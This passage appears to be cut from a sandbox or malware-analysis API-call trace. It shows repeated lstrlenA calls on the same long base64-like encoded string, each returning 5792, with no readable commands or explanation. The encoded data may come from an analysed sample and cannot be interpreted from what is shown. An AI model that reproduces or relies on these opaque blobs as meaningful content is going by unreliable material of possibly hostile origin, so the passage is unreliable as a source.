dhlLKyrVdB/u2I+DfOTxgPiTAeeK9U9M/02vxaiMlTdBb9fzTXk53hkg9yqqN8l6XKEoUnQWfd5FcMNwW8OWHViHpLDWVm+98jvU5uwcmXwPnel1Fvf5R9A/64U3RuGroumyk+H+fk2SVe/d/m+GlsISY9AyD/YtCutm2FR3rmCccOmL2HgqpYzjGEgzQax8t9eBNAYj4NLUOzD0o2+E8O66JcKAS49y4tZsgwk0m1NzXXfw+3Jk1Cewh6k5QQtNQKEiLse4uDogihI0VFkYiaAfZuOW10IeH2elk7QXxlqOjf+W2wRyprHC316Kut2KHxtGy4EK93jKVGvN1uepe/6gSX0jpZw+lVZ+ltK7s2XEU8DXZMO5fTct8tEdK35XMk8MzzlCcSwgAVH07Xir9qSesfvKHl157zcfRDpRH98EkbJfVDBiV8s1AW6xOtbrnYrZsrkPFN+nkeCsFVk7/NSXHelph0K8pEiXhD8I+FbmfG799waoJQ3NFh6kWsAADwTn1zQn7XIzF2Riot/53OWrajeYHvcxqkkme2W9DeUlmWl+G4gDVr2dWoXpPEG/oPKUWaSGb6nJMdqAXtX7jYiFcuCI1T31KwT8D2QMTl5+YE3vo8/AZk2f7GWkYGy8d3JqEt2S12vK3xrwc8FgBi4UQspTpF+yjU/LOJkPOfiuvIdtRJJqskQHA4udnv9zIkKjy9C9Pjw8CuzTNalGRoD513nygF1ajdNKhfbUSN1ggWH72Q/j1bWd0iGETK1kqo0e1AEqTVHc0wMFvEcRbecAQjZCSolAnNmNBzuC2wfV+e2TDBj4+snFpqxe2M8LCM3LXw019UU01Gs0fyXzEu2sWgGWPdCtq8P1xkSWe5Q8VSairsokftiH1TSbYOnIY+YSvtz+ZTFd/KsY0QTwCkMXz8I4rrVYQwplzQUBNSI1mhORqmefty4HpArQnp8yTJw7TnODULcGIYRrl0WEfM22foXv7IDBdVvosGMuabt2IQYRx/sjqA/unJi7Q86VSInEU8Ew548/Gq8awz5QGqoAyjQyMNHMpAAnrKTj+WTuKLOpjHjRcYUEoO6FfJX9+hR4cCh9nDqBn5l3CaD1ntz3PPO5SctrHlOw3433I+lYr+iHD8RzYK0Rd90Uq5XQ8losn/T8pGZKNS0I/sRvQrjEuVWnrjng7s/oMZHzthdWwczeZYv1dh0JGnvGXTvhFNI2xjqjGbNsdG1lnQp7c7JDA4enNFbtEOpKOQVXn67yq2sBLgYgy8JPBKhWcJyfV7+qmV6/ndgN2rH4VKZq3wnWA5TR5CeOkk635kUgJOQh2spzLV5cEJDaJ29L8ip4sIhGc/QNXj3ngjdcHYSwoFjzlN7I0LJkTUiAMqsBq3ymMPoa6rfEknB/aM215QFgHTAKZfeSE+rBTrFyb2Cr6qVcycOec9j91L/jQNXZT9esjhASiArQ+BzNHyY40CJMA4jgkJOxC+dFwzyClV2YM0lMSwODvSgg4fSmwGIA9rQjhalJ9kEfz1rcJZk+OrXz3Vw6UO/b94HF41S7vaIASv0Yars5MrvEsG5Ytc779Q6KNFMx7ZW44j3VBGKwny4iUkuPLibK9UAmmX4a5cwx4aljwqR4AFQ==") returned 5792 [0128.354] lstrlenA (lpString="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") returned 5792 [0128.354] lstrlenA (lpString="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") returned 5792 [0128.354] lstrlenA (lpString="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